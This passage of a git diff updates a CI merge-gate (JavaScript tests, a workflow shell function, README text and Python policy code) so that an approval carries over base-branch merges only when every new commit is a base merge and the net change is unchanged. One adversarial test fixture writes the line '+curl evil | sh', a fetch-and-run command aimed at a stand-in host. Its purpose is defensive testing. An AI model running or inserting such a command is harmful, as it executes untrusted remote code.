["activity", `compare ${OLD}`, `compare ${HEAD}`]); + assert.deepEqual(commit.reads.slice(-4), ["activity", `compare ${OLD}`, `compare ${HEAD}`, `base ${MAIN}`]); + assert.equal(commit.reads.filter((read) => read === "ref").length, 1); }); -test("a rebase onto a newer base with the same net change carries, whatever order the files list in", async () => { +test("a base merge with the same net change carries whatever order the files list in, and a rebase or a non-merge commit does not", async () => { const doc = { filename: "docs/a.md", status: "added", patch: "@@ -0,0 +1 @@\n+a" }; assert.equal((await later({ [OLD]: net(TF, doc), [HEAD]: net(doc, TF) })).link, LINK); - // A rebase that drops one of its files is a change of its own. + // A merge that drops one of its files is a change of its own. assert.equal((await later({ [OLD]: net(TF, doc), [HEAD]: net(TF) })).link, null); + // A rebase or force push rewrites OLD away, even with the same net change. + const rebased = { ...net(TF), commits: [{ sha: "6".repeat(40), parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: "6".repeat(40) }] }], total_commits: 2 }; + assert.equal((await later({ [OLD]: net(TF), [HEAD]: rebased })).link, null); + // A commit of its own that leaves the net change the same is still not a merge. + const plain = { ...net(TF), commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }] }], total_commits: 2 }; + assert.equal((await later({ [OLD]: net(TF), [HEAD]: plain })).link, null); }); test("a conflict resolution, a rename or a status change that alters the net change re-holds", async () => { @@ -887,3 +919,203 @@ test("in the merge queue, a missing or unreadable reader report holds", async () assert.match(out, /::error::#99: its pr-verify FAILs could not be read/, String(evidence)); } }); + +// A hold path's approval survives a base merge (the churn measured on +// #10224): a trusted person's approving review of a head lifts a later head +// only when every commit since is a merge of commits the base holds +// (baseMergesOnly) and the net change against the base's tip is the same +// over every file (sameNetChange). The base is read once by its full ref +// (baseTip), and every compare names its tip commit. A label removal never +// lifts a hold path, and a dismissed approval never counts. Every +// adversarial shape keeps the hold. +const HELD = ".github/actions/resolve-config/live-config.test.mjs"; +const HELD_PATCH = { filename: HELD, status: "modified", patch: "@@ -1 +1 @@\n-a\n+b" }; +const OTHER_HELD = { filename: ".github/actions/resolve-config/resolve.test.mjs", status: "modified", patch: "@@ -1 +1 @@\n-c\n+d" }; +const HELPER = { filename: "scripts/helper.sh", status: "modified", patch: "@@ -1 +1 @@\n-x\n+y" }; +const APPROVED_AT = "2026-10-27T23:26:14Z"; +const OTHER = "7".repeat(40); +// The base branch's tip commit, which `refs/heads/main` resolves to. +const TIP = "3".repeat(40); +const review = (state, commit, at = APPROVED_AT, id = 5, type = "User") => ({ id: 41, user: { login: id === 5 ? "owner-person" : "someone", id, type }, state, commit_id: commit, submitted_at: at }); +const merged = (files) => ({ files, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }], total_commits: 2 }); +const atOld = (files = [HELD_PATCH]) => ({ files, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }); +const liftWorld = ({ + reviews = [review("APPROVED", OLD)], + compares = { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH]) }, + // The base's answer per merged parent against its tip. + bases = { [MAIN]: "ahead" }, + tip = TIP, + fork = false, + // The pull request's own count of changed files; the head compare's by default. + changed = null, + // A label history and push history the earlier reader bound a removal by, + // served so a test proves no reader counts them now. + events = [], + activity = [push(HEAD, "2026-10-27T23:32:00Z"), push(OLD, "2026-10-27T23:00:00Z")], + fail = "", +} = {}) => { + const reads = []; + const tracker = { config: { role_labels: { "human-gated": "needs-human" } } }; + const github = async (method, path) => { + reads.push(path); + assert.equal(method, "GET"); + if (fail && path.includes(fail)) throw new Error(`${fail} failed`); + if (path === "/repos/owner/repo/pulls/99") return { head: { sha: HEAD, ref: "fix/cost", repo: { full_name: fork ? "someone/repo" : REPO } }, base: { ref: "main" }, changed_files: changed ?? compares[HEAD]?.files?.length }; + if (path === "/repos/owner/repo/git/ref/heads/main") return { ref: "refs/heads/main", object: { type: "commit", sha: tip } }; + if (path.startsWith("/repos/owner/repo/pulls/99/reviews?")) return path.endsWith("page=1") ? reviews : []; + if (path.startsWith("/repos/owner/repo/issues/99/events?")) return path.endsWith("page=1") ? events : []; + if (path === "/repos/owner/repo/activity?ref=refs%2Fheads%2Ffix%2Fcost&direction=desc&per_page=100") return activity; + if (path === `/repos/owner/repo/contents/.work-item-tracker.json?ref=${BASE}`) return { type: "file", encoding: "base64", content: Buffer.from(JSON.stringify(tracker)).toString("base64") }; + const parent = new RegExp(`^/repos/owner/repo/compare/([0-9a-f]{40})\\.\\.\\.${TIP}$`).exec(path); + if (parent) return { status: bases[parent[1]] ?? "diverged" }; + const compare = new RegExp(`^/repos/owner/repo/compare/${TIP}\\.\\.\\.([0-9a-f]{40})$`).exec(path); + if (compare && compare[1] in compares) return compares[compare[1]]; + throw new Error(`unexpected read ${path}`); + }; + return { github, reads }; +}; +// main over `files` with liftWorld's reads; `reviews` also go in the +// discussion file, as ci-status writes it. +async function lifting(world, { files = [HELD], reviews = [], queue = false } = {}) { + const dir = tempDir("merge-holds-lift-"); + writeFileSync(join(dir, "body"), "Closes #40"); + writeFileSync(join(dir, "discussion"), reviews.map((row) => JSON.stringify(row)).join("\n")); + writeFileSync(join(dir, "actors"), JSON.stringify({ actors: [{ kind: "human", login: "owner-person", id: 5 }] })); + writeFileSync(join(dir, "files"), files.map((path) => JSON.stringify([path])).join("\n")); + writeFileSync(join(dir, "denied"), "[]"); + const argv = ["99", ...["body", "discussion", "files", "denied", "actors"].map((name) => join(dir, name)), HEAD]; + if (queue) { + writeFileSync(join(dir, "verdicts"), ""); + writeFileSync(join(dir, "link"), "null"); + argv.push(join(dir, "verdicts"), join(dir, "link")); + } + const lines = []; + const log = console.log; + console.log = (line) => lines.push(line); + try { + const code = await main(argv, { env: { GITHUB_REPOSITORY: REPO, BASE_SHA: BASE }, github: world.github }); + return { code, out: lines.join("\n") }; + } finally { + console.log = log; + } +} +const HOLD_REASON = /it changes \.github\/actions\/resolve-config\/live-config\.test\.mjs, a hold path; an approving review of this head by a person on the trusted-actor list lifts it/; + +test("an approval of an earlier head lifts a hold path over a later base merge, read against the base's tip commit", async () => { + for (const [name, compares] of Object.entries({ + "a base merge": { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH]) }, + "a base merge with a non-hold file in the net change": { [OLD]: atOld([HELD_PATCH, HELPER]), [HEAD]: merged([HELPER, HELD_PATCH]) }, + })) { + const world = liftWorld({ compares }); + const run = await lifting(world); + assert.equal(run.code, 0, `${name}: ${run.out}`); + assert.match(run.out, /owner-person approved an earlier head whose every change since is a base merge, which lifts its hold path/, name); + // The base is resolved once by its full ref; no compare names the branch. + assert.equal(world.reads.filter((path) => path.includes("/git/ref/")).length, 1, name); + assert.ok(world.reads.includes(`/repos/owner/repo/compare/${TIP}...${OLD}`) && world.reads.includes(`/repos/owner/repo/compare/${MAIN}...${TIP}`), world.reads.join(" ")); + assert.ok(!world.reads.some((path) => /\/compare\/(main\.\.\.|.*\.\.\.main$)/.test(path)), world.reads.join(" ")); + } +}); + +// The owner's decision on #10596: a trusted person's label removal lifts no +// hold path, at the head or before a base merge, and a dismissed approval +// never counts, even one GitHub dismissed as stale on a push. The lanes App +// put the label on at 23:05; the person removed it at 23:26:14. +const LABEL = (event, at, id, login, app = null) => ({ event, label: { name: "needs-human" }, actor: { id, login }, performed_via_github_app: app, created_at: at }); +const REMOVAL = [LABEL("labeled", "2026-10-27T23:05:00Z", 2, "lanes[bot]", { slug: "lanes" }), LABEL("unlabeled", APPROVED_AT, 5, "owner-person")]; +const STALE = { + event: "review_dismissed", + actor: { id: 2, login: "lanes[bot]" }, + created_at: "2026-10-27T23:32:35Z", + dismissed_review: { review_id: 41, state: "approved", dismissal_message: null, dismissal_commit_id: HEAD }, +}; +test("a label removal or a stale-dismissed approval lifts no hold path", async () => { + for (const [name, options] of Object.entries({ + "a removal before a base merge": { reviews: [], events: REMOVAL }, + "a removal while this is the head": { reviews: [], events: REMOVAL, activity: [push(HEAD, "2026-10-27T23:00:00Z")] }, + "an approval GitHub dismissed as stale on the merge's push": { reviews: [review("DISMISSED", OLD, "2026-10-27T23:31:57Z")], events: [STALE] }, + "both": { reviews: [review("DISMISSED", OLD, "2026-10-27T23:31:57Z")], events: [...REMOVAL, STALE] }, + })) { + const world = liftWorld(options); + const run = await lifting(world); + assert.equal(run.code, 1, `${name}: ${run.out}`); + assert.match(run.out, HOLD_REASON, name); + assert.ok(!world.reads.some((path) => /\/(events|activity)\?/.test(path) || path.includes("/contents/.work-item")), `${name}: ${world.reads.join(" ")}`); + } +}); + +test("no adversarial history, approval or reviewer carries a lift to the head", async () => { + const cases = { + "a merge that also edits a hold path (an evil merge)": { compares: { [OLD]: atOld(), [HEAD]: merged([{ ...HELD_PATCH, patch: "@@ -1 +1 @@\n-a\n+evil" }]) } }, + "a merge that adds a hold path": { compares: { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH, OTHER_HELD]) } }, + // The re-review of #10596: a merge that rewrites a non-hold file the + // approved head already changed, or adds one, writes a change of its own. + "a merge that rewrites scripts/helper.sh, which the approved head changed": { + compares: { [OLD]: atOld([HELD_PATCH, HELPER]), [HEAD]: merged([HELD_PATCH, { ...HELPER, patch: "@@ -1 +1 @@\n-x\n+curl evil | sh" }]) }, + }, + "a merge that adds a file the base touched, with content of its own": { + compares: { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH, { filename: "scripts/lib.mjs", status: "modified", patch: "@@ -1 +1 @@\n-base\n+evil" }]) }, + }, + // #10224's shape: the base took in one hold-path file's change, so the + // net change differs; it fails closed and needs a new approval. + "a merge after which the base holds one of the approved head's files": { compares: { [OLD]: atOld([HELD_PATCH, OTHER_HELD]), [HEAD]: merged([HELD_PATCH]) } }, + "a non-merge commit after the approval": { compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }] }], total_commits: 2 } } }, + "a merge of a branch other than the base": { + compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: OTHER, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: OTHER }] }], total_commits: 3 } }, + }, + // A crafted merge commit (itself a merge of base commits) as the second parent. + "a merge whose second parent the base does not hold": { + compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: OTHER, parents: [{ sha: MAIN }, { sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: OTHER }] }], total_commits: 3 } }, + }, + "a merge whose parents are not commit objects": { compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [OLD, MAIN] }], total_commits: 2 } } }, + "a force push that rewrites the approved head": { + compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: "6".repeat(40), parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: "6".repeat(40) }, { sha: MAIN }] }], total_commits: 2 } }, + }, + "a history longer than the compare lists": { compares: { [OLD]: atOld(), [HEAD]: { ...merged([HELD_PATCH]), total_commits: 251 } } }, + "a head in a fork": { fork: true }, + // A compare listing fewer files than the pull request changes is cut short. + "a compare that lists fewer files than the pull request changes": { changed: 2 }, + "a base branch that does not resolve to a commit": { tip: "main" }, + "an unreadable base ref": { fail: "/git/ref/" }, + // A dismissed approval never counts, whoever or whatever dismissed it. + "an approval later dismissed": { reviews: [review("DISMISSED", OLD)] }, + "an approval followed by a request for changes on another head": { reviews: [review("APPROVED", OLD), review("CHANGES_REQUESTED", "8".repeat(40), "2026-10-27T23:40:00Z")] }, + "an approval by a person off the trusted-actor list": { reviews: [review("APPROVED", OLD, APPROVED_AT, 77)] }, + "an approval by a bot account": { reviews: [review("APPROVED", OLD, APPROVED_AT, 5, "Bot")] }, + "unreadable reviews": { fail: "/reviews?" }, + "an unreadable pull request": { fail: "/pulls/99" }, + "an unreadable compare": { fail: "/compare/" }, + }; + for (const [name, options] of Object.entries(cases)) { + const run = await lifting(liftWorld(options)); + assert.equal(run.code, 1, `${name}: ${run.out}`); + assert.match(run.out, HOLD_REASON, name); + } +}); + +test("an approval carried over a base merge lifts no verifier hold, and an exact-head approval in the discussion needs no reads", async () => { + const carried = await lifting(liftWorld(), { queue: true }); + assert.equal(carried.code, 1, carried.out); + assert.match(carried.out, /lifts its hold path/); + assert.match(carried.out, /pr-verify has not passed this head/); + assert.match(carried.out, /its pr-verify FAILs could not be read/); + const world = liftWorld(); + const exact = await lifting(world, { reviews: [review("APPROVED", HEAD)] }); + assert.equal(exact.code, 0, exact.out); + assert.deepEqual(world.reads, []); +}); + +test("baseMergesOnly and baseMergeCarry read their inputs strictly", () => { + const then = { commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }; + const inBase = new Set([MAIN]); + assert.equal(baseMergesOnly(then, merged([]), OLD, inBase), true); + assert.equal(baseMergesOnly(then, merged([]), OLD), false); + assert.deepEqual(mergedParents(then, merged([])), [MAIN]); + assert.equal(baseMergesOnly(then, { commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }] }, OLD, inBase), false); + assert.equal(baseMergesOnly(then, merged([]), "9".repeat(40), inBase), false); + // The whole net change decides: any file the merge changes differently. + assert.equal(baseMergeCarry(atOld([HELD_PATCH, HELPER]), merged([HELPER, HELD_PATCH]), OLD, [MAIN]), true); + assert.equal(baseMergeCarry(atOld([HELD_PATCH, HELPER]), merged([HELD_PATCH, { ...HELPER, patch: "+z" }]), OLD, [MAIN]), false); + assert.equal(baseMergeCarry(atOld([HELD_PATCH]), merged([HELD_PATCH, HELPER]), OLD, [MAIN]), false); + assert.equal(baseMergeCarry(atOld([HELD_PATCH]), merged([HELD_PATCH]), OLD, []), false); +}); diff --git a/.github/workflows/pr-require-checks.yml b/.github/workflows/pr-require-checks.yml index bf66f70928..6c8cf04ec5 100644 --- a/.github/workflows/pr-require-checks.yml +++ b/.github/workflows/pr-require-checks.yml @@ -4017,10 +4017,11 @@ jobs: # pull request and naming it as `#` (merge-holds.mjs # namesPull). Of those, the newest on the pull request, else the # newest on the issue, is the decision. It covers the head it decided - # and a later head only when the pull request's net change against its - # base branch is the same at both, so every change since is a base - # merge (the base's merge-holds.mjs sameNetChange; owner decisions - # Q17 c and Q18 d on #9436). The decided head is the `sha=` of the + # and a later head only when every commit since is a merge and the + # pull request's net change against its base branch is the same at + # both, so every change since is a base merge (the base's + # merge-holds.mjs baseMergeCarry; owner decisions Q17 c and Q18 d on + # #9436). The decided head is the `sha=` of the # newest cost hold notice a review lane's status job recorded before # the decision, read with the holds below from runs vetted the same # way and only where it names its own run's head; never a hold @@ -4155,18 +4156,37 @@ jobs: "$@" "$BASE_CONFIG/.github/scripts/pr-merge/merge-holds.mjs" } # carries : whether a decision whose decided head is - # covers HEAD_SHA: it is HEAD_SHA, or the net change - # against the base branch is the same at both. No decided head, an + # covers HEAD_SHA: it is HEAD_SHA, or every commit since + # is a merge whose other parents the base branch holds (their + # compare against it is ahead or identical, the base's + # mergedParents and baseParents) and the net change is the same at + # both (the base's baseMergeCarry). Every compare is against the + # base branch's tip, read once by its full ref (refs/heads/), so no + # tag of the same name stands in for it. No decided head, an # unusable base branch name or any read that fails carries nothing. carries() { - local decided=$1 base_ref + local decided=$1 base_ref tip parents sha diff in_base='[]' [[ $decided =~ ^[0-9a-f]{40}$ ]] || return 1 [ "$decided" != "$HEAD_SHA" ] || return 0 base_ref=$(jq -r '.base.ref // ""' <<<"$pr") || return 1 jq -en --arg b "$base_ref" '$b | test("^(?!-)(?!.*\\.\\.)[A-Za-z0-9._/-]{1,255}$")' >/dev/null || return 1 - read_api "repos/$repo/compare/$base_ref...$decided" >"$RUNNER_TEMP/cost-hold-then.json" || return 1 - read_api "repos/$repo/compare/$base_ref...$HEAD_SHA" >"$RUNNER_TEMP/cost-hold-now.json" || return 1 - [ "$(holds_js sameNetChange "$RUNNER_TEMP/cost-hold-then.json" "$RUNNER_TEMP/cost-hold-now.json")" = true ] + tip=$(read_api "repos/$repo/git/ref/heads/$base_ref") || return 1 + tip=$(jq -r '.object.sha // ""' <<<"$tip") || return 1 + [[ $tip =~ ^[0-9a-f]{40}$ ]] || return 1 + read_api "repos/$repo/compare/$tip...$decided" >"$RUNNER_TEMP/cost-hold-then.json" || return 1 + read_api "repos/$repo/compare/$tip...$HEAD_SHA" >"$RUNNER_TEMP/cost-hold-now.json" || return 1 + jq -n --arg sha "$decided" '$sha' >"$RUNNER_TEMP/cost-hold-decided.json" || return 1 + parents=$(holds_js mergedParents "$RUNNER_TEMP/cost-hold-then.json" "$RUNNER_TEMP/cost-hold-now.json") || return 1 + for sha in $(jq -r '.[]?' <<<"$parents"); do + [[ $sha =~ ^[0-9a-f]{40}$ ]] || return 1 + diff=$(read_api "repos/$repo/compare/$sha...$tip") || return 1 + case $(jq -r '.status // ""' <<<"$diff") in + ahead | identical) in_base=$(jq -c --arg s "$sha" '. + [$s]' <<<"$in_base") || return 1 ;; + esac + done + jq -n --argjson b "$in_base" '$b' >"$RUNNER_TEMP/cost-hold-in-base.json" || return 1 + [ "$(holds_js baseMergeCarry "$RUNNER_TEMP/cost-hold-then.json" "$RUNNER_TEMP/cost-hold-now.json" "$RUNNER_TEMP/cost-hold-decided.json" \ + "$RUNNER_TEMP/cost-hold-in-base.json")" = true ] } # Every decision that counts, as {own, at, link, id, comment}. decisions='[]' refs_read= @@ -4900,7 +4920,10 @@ jobs: # denied paths (pr-pipeline.yaml merge.diff-check.denied-paths, as main # has it, plus merge-holds.mjs's HOLD_PATH_FLOOR), so a push after # arming is held on its own pull request event; a person on the - # trusted-actor list (as main has it) lifts it by approving the head, + # trusted-actor list (as main has it) lifts it by approving the head, and + # the approval carries to a later head whose every change since is a + # merge of the base changing no hold path or other file beyond it + # (merge-holds.mjs liftersOf, which reads with this step's GH_TOKEN), # then re-runs ci-status. A trusted-actor list # change that adds or widens an entry (merge-holds.mjs actorsHold, both # sides read at BASE_SHA and the head) holds too, lifted the same way. diff --git a/docs/conventions/pr-pipeline/README.md b/docs/conventions/pr-pipeline/README.md index ef2e169488..6bc8ad0e8f 100644 --- a/docs/conventions/pr-pipeline/README.md +++ b/docs/conventions/pr-pipeline/README.md @@ -923,7 +923,7 @@ the rules that only tighten in any other key changed, a side that cannot be read or parsed or repeats a key, and an added, removed, renamed or copied list hold. An owner cost decision does not clear it. `ci-status` holds the same widening on a lanes App pull request pushed after auto-merge is armed - (`merge-holds.mjs` `actorsHold`), lifted by a trusted person's approval of the head. + (`merge-holds.mjs` `actorsHold`), lifted as a hold path is (see below). - **Security findings.** The security lane flags; only a CRITICAL finding, its top tier, holds the merge, as `security-finding`. Its inline comments and summary carry the severity lines `/review:security-review` defines, and a finding whose severity the gate cannot read counts as @@ -1288,7 +1288,7 @@ collaborator) whose newest comment, review or inline comment with text says "do gate's veto rule; a later comment lifts it), and whose head changes no path in the lane's `merge.diff-check.denied-paths` or on the [path floor](#merge-authority) (`merge-holds.mjs` `HOLD_PATH_FLOOR`, the floor's `trust` and `gate` globs, equal to `babysit_risk.HIGH_FLOOR`), read on the files the head changes at each -run, unless a person on the trusted-actor list approved that head as `ci-status` reads it, and whose +run, unless a person on the trusted-actor list approved that head, or an earlier head it carries to, as `ci-status` reads it, and whose issue link and verifier verdict at that head pr-merge's gate would take: `babysit_verify_evidence.py evidence --lane-link` refuses nothing, so the link is one the gate's [eligibility](#the-pr-merge-lane) rule takes (one closing issue in this repository, or, with none, @@ -1432,22 +1432,46 @@ main has, so a pull request cannot rewrite it), and holds a trusted-actor list c adds or widens an entry, both sides read at `BASE_SHA` and the head (`actorsHold`), on each pull request event and in the merge queue, where a red group removes the pull request. A push that adds a hold path or such a widening fails `ci-status` on its own head. A person on the trusted-actor list -(as main has it) lifts either by approving that head: their newest review of it that approves, requests changes or was -dismissed must approve. Then re-run `ci-status`, since a review does not. The approval lifts no -body hold or veto. `enable-auto-merge` reads the same approval (`pathLifters`) and stops holding -the pull request on the hold path, and the gate's risk score (`evidence --lane-reviews`, -`lane_risk_refusal`) drops its `high-path:` reasons for a path on `babysit_risk.HIGH_FLOOR` or in -`merge.diff-check.denied-paths` on the same approval (`babysit_merge_policy.path_lifters`, which -`test_merge_holds_sync.py` holds equal to `pathLifters`), so its other checks decide. The approval -lifts no aliasing path, symlink, submodule or mode change (`high-path:**`), cost, trust-gate, -manifest, file-cap or review-lane hold, and a review list or trusted-actor list that does not read -lifts nothing. +(as main has it) lifts either by approving that head (their newest review of it that approves, +requests changes or was dismissed must approve). Then re-run `ci-status`, since a review does not. +Only an approving review lifts it: removing the human-gated label does not, and a dismissed +approval never counts. The approval carries to a later head whose every change since is a merge +of the base (`merge-holds.mjs` `liftersOf` and `baseMergeCarry`), so a base merge after a +person's approval does not send the pull request back to them: + +- Each trusted person's newest review that approves, requests changes or was dismissed counts + (`liftsOf`); it lifts only when it approves, and then its commit. +- The carry (`baseMergeCarry`): the base branch is read once by its full ref (`baseTip`, + `refs/heads/`), and every compare names its tip commit, so no tag of the same name stands + in for it. Every commit the current head adds is a merge whose parents other than the first the + base holds (`baseMergesOnly` over `mergedParents`; `baseParents` reads each parent's compare + against the tip, `ahead` or `identical`), and the approved head is among its commits, so a + non-merge commit, a merge of another branch or of a crafted merge commit, or a force push that + rewrites the approved head carries nothing. The net change against the tip is the same at both + heads over every file (`sameNetChange`), so a merge that writes any change of its own, to a hold + path or any other file, carries nothing; an honest merge after the base changed one of the + pull request's files fails closed too and needs a new approval. A commit list the compare cuts + at 250 carries nothing, and so does a head in a fork. +- An approval of the current head lifts the verifier and issue-link holds too; an approval of an + earlier head does not, since the merge result is new to pr-verify. + +The approval lifts no body hold or veto, and a read that fails lifts nothing. `enable-auto-merge` +reads the same approvals and stops holding the pull request on the hold path, and the gate's risk +score (`evidence --lane-reviews`, `lane_risk_refusal`) drops its `high-path:` reasons for a path +on `babysit_risk.HIGH_FLOOR` or in `merge.diff-check.denied-paths` on the same approvals +(`babysit_merge_policy.path_lifters` and `carried_lifters`, which `test_merge_holds_sync.py` +holds equal to `pathLifters`, `liftsOf` and `baseMergeCarry`), so its other checks decide. The +approval lifts no aliasing path, symlink, submodule or mode change (`high-path:**`), cost, +trust-gate, manifest, file-cap or review-lane hold, and a review list or trusted-actor list that +does not read lifts nothing. Both also hold a pull request that changes one of the merge gate's cost paths (`babysit_risk.COST_PATHS`: Pulumi, Terraform and Bicep files). An approval does not lift that hold. Only the owner's cost decision does, read as the gate's `cost_decision` reads it: an unedited comment by a person on the trusted-actor list whose first line opens `**Decision recorded.** Cost:`, on the pull request or on its one closing issue after -the pull request opened, linked from the body. That body edit re-runs `ci-status`. The module is read at the pull request's base commit, so a lanes App pull +the pull request opened, linked from the body. That body edit re-runs `ci-status`. The decision +carries to a later head by the same `baseMergeCarry` as the hold-path lift, on the whole net +change rather than the hold paths alone. The module is read at the pull request's base commit, so a lanes App pull request whose base predates the module fails `ci-status` closed until it is updated with main. A pull request cannot weaken its own check, since the step runs the module as its base has it; a change to `merge-holds.mjs` merges on the review lanes, and the lanes App's token, which carries no diff --git a/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py b/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py index b1747bd889..d1f9f50188 100755 --- a/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py +++ b/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py @@ -2407,7 +2407,8 @@ def _noticed_head(owner: str, name: str, branch: Any, base: str, at: Any) -> str github-actions[bot]): every pull_request run of a REVIEW_LANES workflow on the head `branch` of `owner`/`name` started before `at` (a run from another repository's same-named branch speaks for another pull request), - each run's head vetted against `base` (`lane_change`), its status job's cost notices (`cost_notices`) + each run's head vetted against `base`, the base branch's tip commit + (`lane_change`), its status job's cost notices (`cost_notices`) from jobs done before `at`, then `decided_head`, kept only while the branch's push history shows no lane run missing since the decided head (`unran_head`). A run on a head that fails the vet decides nothing, and a @@ -2482,7 +2483,9 @@ def same_net_change(decided: Any, current: Any) -> bool: the pull request: the same filenames, each with the same status, previous_filename and patch. A list of 300 files or more (the compare API's cap), a file with no patch, a filename listed twice, or an answer - with no file list is not the same (merge-holds.mjs `sameNetChange`).""" + with no file list is not the same (merge-holds.mjs `sameNetChange`). The + compare API reports no file mode, so a change that only flips a file's + mode reads as the same: a known residual a merge can carry.""" def net(compare: Any) -> dict[str, tuple[Any, Any, str]] | None: files = json_object(compare).get("files") @@ -2501,14 +2504,204 @@ def net(compare: Any) -> dict[str, tuple[Any, Any, str]] | None: return then is not None and now is not None and then == now +def _new_commits(then: Any, now: Any) -> list[Any] | None: + """The commits a compare answer `now` (base...H') lists beyond `then` + (base...H), or None when either list is not read whole (shorter than + total_commits, the compare API's 250) (merge-holds.mjs `newCommits`).""" + + def listed(compare: Any) -> list[Any] | None: + compare = json_object(compare) + commits, total = compare.get("commits"), compare.get("total_commits") + if ( + not is_json_array(commits) + or type(total) is not int + or total != len(commits) + ): + return None + return commits + + before, after = listed(then), listed(now) + if before is None or after is None: + return None + old = {json_object(c).get("sha") for c in before} + return [c for c in after if json_object(c).get("sha") not in old] + + +def _parent_shas(commit: Any) -> list[Any] | None: + parents = json_object(commit).get("parents") + if not is_json_array(parents): + return None + return [json_object(p).get("sha") for p in parents] + + +def merged_parents(then: Any, now: Any) -> list[str]: + """The parents other than the first of each commit `now` lists beyond + `then`, the ones a base merge must take from the base; a parent that is + not a 40-hex sha is left out (merge-holds.mjs `mergedParents`).""" + found: list[str] = [] + for commit in _new_commits(then, now) or (): + for sha in (_parent_shas(commit) or [])[1:]: + if ( + isinstance(sha, str) + and re.fullmatch(r"[0-9a-f]{40}", sha) + and sha not in found + ): + found.append(sha) + return found + + +def base_merges_only( + then: Any, now: Any, start: str, in_base: Collection[str] = frozenset() +) -> bool: + """Whether every commit a compare answer `now` (base...H') lists beyond + `then` (base...H) is a merge whose every parent but the first is in + `in_base` (the parents the base holds, read by `base_parents`), with + `start` (H) among `now`'s commits, so H' descends from H by merges of the + base alone. A non-merge commit, a merge of another branch, a force push + that drops H, or a list not read whole carries nothing + (merge-holds.mjs `baseMergesOnly`).""" + added = _new_commits(then, now) + if added is None: + return False + if not any(json_object(c).get("sha") == start for c in json_object(now)["commits"]): + return False + for commit in added: + parents = _parent_shas(commit) + if parents is None or len(parents) < 2: + return False + if not all(sha in in_base for sha in parents[1:]): + return False + return True + + +def base_merge_carry( + then: Any, now: Any, start: str, in_base: Collection[str] = frozenset() +) -> bool: + """The one base-merge carry (merge-holds.mjs `baseMergeCarry`): whether + what was decided at head `start` covers the head `now` was read at, from + the compares base...start (`then`) and base...head (`now`) against the + base's tip commit and the merged parents the base holds (`in_base`, from + `base_parents`): every commit since is a merge of the base + (`base_merges_only`) and the net change is the same over every file + (`same_net_change`), so a merge that writes any change of its own + carries nothing.""" + return base_merges_only(then, now, start, in_base) and same_net_change(then, now) + + +def base_parents(compare: Callable[[str], Any], tip: str, then: Any, now: Any) -> set[str]: + """The merged parents (`merged_parents`) the base holds, through + `compare` (a GET of compare/ that raises PolicyReadError when + unreadable) against `tip`, the base branch's tip commit (`base_tip`): + those whose compare is `ahead` or `identical` (merge-holds.mjs + `baseParents`).""" + return { + sha + for sha in merged_parents(then, now) + if json_object(compare(f"{sha}...{tip}")).get("status") in ("ahead", "identical") + } + + +def base_tip(owner: str, name: str, base: str) -> str: + """The tip commit of the base branch `base`, read once by its full ref so + no tag or other ref of the same name stands in for it; PolicyReadError + when it does not read as a commit SHA (merge-holds.mjs `baseTip`).""" + status, answer = _get(f"repos/{owner}/{name}/git/ref/heads/{base}") + sha = json_object(json_object(answer).get("object")).get("sha") + if status != 200 or not isinstance(sha, str) or not re.fullmatch(r"[0-9a-f]{40}", sha): + raise PolicyReadError(f"the base branch {base} did not resolve") + return sha + + +def lifts_of(reviews: Sequence[Any], humans: Collection[int]) -> list[tuple[str, str]]: + """Each trusted person's standing approval, as (login, sha): their newest + REST review that approves, requests changes or was dismissed, when it + approves a commit (merge-holds.mjs `liftsOf`). A dismissed approval never + counts.""" + newest: dict[int, tuple[datetime, dict[str, Any]]] = {} + for row in reviews: + row = json_object(row) + user = json_object(row.get("user")) + uid, state = user.get("id"), row.get("state") + if user.get("type") != "User" or type(uid) is not int or uid not in humans: + continue + if state not in ("APPROVED", "CHANGES_REQUESTED", "DISMISSED"): + continue + at = row.get("submitted_at") + made = parse_timestamp(row.get("created_at") if at is None else at) + if made is not None and (uid not in newest or made >= newest[uid][0]): + newest[uid] = (made, row) + lifts = [] + for _, row in newest.values(): + sha = str(row.get("commit_id") or "") + if row.get("state") == "APPROVED" and re.fullmatch(r"[0-9a-f]{40}", sha): + lifts.append((str(json_object(row.get("user")).get("login") or ""), sha)) + return lifts + + +def carried_lifters( + repo: str, + pr: Mapping[str, Any], + reviews: Sequence[Any], + humans: Collection[int], +) -> list[str]: + """The trusted people whose approval (`lifts_of` over the REST `reviews`) + is of the pull request's head or carries to it over merges of its base + branch (`base_merge_carry` against the base's tip, `base_tip`, with + `base_parents`), sorted (merge-holds.mjs `liftersOf`). A fork head or a + read that fails lifts nothing.""" + head = json_object(pr.get("head")) + if json_object(head.get("repo")).get("full_name") != repo: + return [] + sha = str(head.get("sha") or "") + base = json_object(pr.get("base")).get("ref") + if not isinstance(base, str) or not BASE_BRANCH.fullmatch(base): + return [] + owner, name = 